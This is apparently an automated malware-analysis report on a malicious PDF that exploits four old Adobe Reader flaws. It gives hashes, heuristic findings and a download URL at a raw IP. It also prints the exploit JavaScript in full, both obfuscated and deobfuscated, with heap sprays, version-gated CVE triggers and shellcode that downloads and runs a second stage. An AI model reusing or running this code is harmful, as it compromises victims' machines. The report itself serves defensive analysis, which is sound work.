Malicious PDF — malware analysis report

Static analysis result for SHA-256 73f441785a37df2e…

MALICIOUS

PDF

12.4 KB
MD5: 093192c59ad3f775036612de632ca340 SHA-1: 8d28012107d364254702d3a26ae903024a50e94a SHA-256: 73f441785a37df2ec65f98174201e88c318b61b46c2b82f8c23a4d276b7fa3fa
490 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits multiple known Adobe Reader vulnerabilities (CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, CVE-2008-2992). The deobfuscated JavaScript contains a URL, http://66.199.229.50/w.php?f=91&e=5, which is likely used to download and execute a secondary payload. The exploit kit nature and embedded download URL strongly indicate malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://66.199.229.50/w.php?f=91&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js
997091fd1a2f29caa527a8b5d69533a42e21325fc59a727ae6746dfff2d45e17		 pdf-javascript-stream PDF /JS object 76 at offset 0x369 11555 bytes
Preview script
First 1,000 lines of the extracted script
j='4wbt43t';
z
=
new
Array(29,16,4,75,4,46,44,46,56,56,22,42,38,74,5,46,65,11,3,70,72,72,65,11,16,15,75,55,65,11,3,68,16,15,65,11,14,68,75,55,65,11,75,19,70,55,65,11,70,70,68,16,65,11,72,55,15,28,65,11,55,28,3,22,65,11,3,22,70,28,65,11,28,15,55,28,65,11,14,28,3,22,65,11,68,72,44,15,65,11,14,72,3,22,65,11,70,70,28,3,65,11,72,72,62,22,65,11,68,75,3,22,65,11,28,70,70,15,65,11,70,70,14,55,65,11,3,44,63,15,65,11,44,68,75,75,65,11,16,16,44,28,65,11,22,3,16,16,65,11,55,28,3,22,65,11,15,70,70,28,65,11,70,19,55,72,65,11,14,68,28,72,65,11,3,14,16,22,65,11,63,55,70,55,65,11,75,55,3,68,65,11,68,44,14,68,65,11,75,22,75,19,65,11,68,44,55,15,65,11,3,22,68,72,65,11,70,15,14,68,65,11,14,55,3,22,65,11,14,3,70,68,65,11,16,68,28,70,65,11,3,22,68,72,65,11,63,28,14,72,65,11,16,68,28,70,65,11,15,19,70,70,65,11,55,44,55,19,65,11,53,62,16,15,65,11,15,68,28,70,65,11,62,22,70,70,65,11,22,75,28,16,65,11,70,3,44,28,65,11,14,55,16,63,65,11,15,44,28,3,65,11,28,62,15,22,65,11,62,53,28,70,65,11,75,22,55,28,65,11,70,22,16,44,65,11,14,68,44,16,65,11,68,75,75,72,65,11,68,75,3,22,65,11,28,70,63,55,65,11,72,72,62,62,65,11,28,15,3,22,65,11,3,62,55,22,65,11,75,15,55,72,65,11,68,55,16,16,65,11,28,15,63,55,65,11,62,3,3,22,65,11,62,62,28,70,65,11,28,55,3,22,65,11,28,70,3,22,65,11,53,22,15,68,65,11,68,19,68,75,65,11,75,22,15,70,65,11,53,62,68,70,65,11,72,3,3,22,65,11,3,28,63,28,65,11,28,15,14,62,65,11,14,55,70,70,65,11,19,72,28,70,65,11,16,70,75,22,65,11,72,3,3,22,65,11,3,22,28,3,65,11,72,53,16,14,65,11,68,19,28,68,65,11,19,3,75,3,65,11,16,16,16,16,65,11,75,63,16,16,65,11,75,3,16,19,65,11,28,28,28,28,65,11,28,28,28,28,65,11,68,28,68,3,65,11,55,28,72,53,65,11,16,16,72,3,65,11,28,28,28,28,65,11,68,28,28,28,65,11,15,28,3,70,65,11,68,28,44,19,65,11,3,22,68,68,65,11,3,22,75,15,65,11,44,28,68,75,65,11,15,70,3,70,65,11,16,16,28,68,65,11,72,3,75,70,65,11,72,75,72,16,65,11,28,28,28,28,65,11,14,68,72,3,65,11,72,15,14,63,65,11,68,55,72,62,65,11,44,72,16,16,65,11,15,55,3,70,65,11,3,22,28,3,65,11,75,3,75,3,65,11,16,16,72,44,65,11,16,16,16,16,65,11,28,63,75,22,65,11,14,63,75,22,65,11,75,15,3,44,65,11,28,44,28,55,65,11,28,28,28,28,65,11,68,15,3,62,65,11,28,15,63,55,65,11,28,55,15,14,65,11,14,63,63,55,65,11,72,14,72,68,65,11,15,14,14,70,65,11,63,55,55,55,65,11,14,72,28,55,65,11,70,70,14,63,65,11,15,14,70,63,65,11,63,55,55,55,65,11,63,28,28,3,65,11,14,70,63,62,65,11,68,70,63,28,65,11,16,3,72,3,65,11,28,28,28,28,65,11,16,16,28,28,65,11,28,15,68,72,65,11,75,3,3,22,65,11,15,19,70,70,65,11,15,14,68,44,65,11,44,62,55,55,65,11,14,14,28,28,65,11,72,63,14,28,65,11,15,14,14,55,65,11,44,62,55,55,65,11,63,75,28,68,65,11,72,15,72,55,65,11,15,72,72,15,65,11,44,62,55,55,65,11,28,28,28,19,65,11,3,53,68,19,65,11,28,55,15,44,65,11,3,3,70,28,65,11,44,62,55,55,65,11,55,44,28,55,65,11,72,53,68,44,65,11,72,53,28,28,65,11,68,70,28,28,65,11,72,53,68,14,65,11,16,16,28,28,65,11,44,55,68,72,65,11,15,28,3,68,65,11,44,72,14,68,65,11,28,28,72,53,65,11,16,16,68,70,65,11,28,55,68,72,65,11,28,28,72,53,65,11,75,22,3,70,65,11,68,70,28,15,65,11,68,72,16,16,65,11,3,70,28,55,65,11,28,15,15,70,65,11,28,63,75,22,65,11,44,70,75,22,65,11,3,28,55,14,65,11,28,28,70,16,65,11,16,53,14,68,65,11,3,28,55,14,65,11,28,28,70,16,65,11,15,55,14,68,65,11,28,28,72,53,65,11,16,75,72,53,65,11,68,72,16,16,65,11,75,3,28,3,65,11,16,75,19,15,65,11,16,16,16,16,65,11,55,75,3,75,65,11,75,15,28,75,65,11,16,75,19,3,65,11,28,75,3,53,65,11,72,16,3,19,65,11,22,62,28,44,65,11,15,53,70,70,65,11,68,22,3,53,65,11,15,72,44,22,65,11,14,19,55,72,65,11,44,53,70,72,65,11,14,28,63,16,65,11,14,55,72,3,65,11,14,28,14,55,65,11,63,16,70,53,65,11,70,72,63,16,65,11,63,75,70,72,65,11,70,19,70,44,65,11,63,75,70,19,65,11,70,63,70,63,65,11,63,75,70,19,65,11,70,28,70,68,65,11,14,14,63,16,65,11,14,28,63,75,65,11,14,28,72,3,65,11,72,72,70,16,65,11,70,19,70,62,65,11,63,72,70,44,65,11,70,62,72,68,65,11,28,28,70,68,65,11,28,28,28,28,46,35,16,11,23,15,58,29,73,23,51,75,6,66,36,4,36,53,67,31,45,56,64,26,34,29,40,75,4,36,53,52,40,75,23,74,58,34,7,63,37,31,45,56,64,36,53,24,5,36,53,35,20,36,53,5,36,53,52,38,11,22,38,58,36,29,23,74,4,28,67,31,45,18,63,56,35,36,75,58,11,36,23
... (truncated)
generic_stage_recovery_000.js
82cf5c3a326fd0d34dfb1da5910644d56e7c72145e6f14852480815b464a622f		 deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x369 3858 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u393d%u2631%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js
c55be8be7d3ced257ecc2d92ca3fe2d68180d537466757351676617ba16312bc		 deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x369 3854 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u393d%u2631%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}

Open this report in the interactive analyzer, or submit your own file for analysis.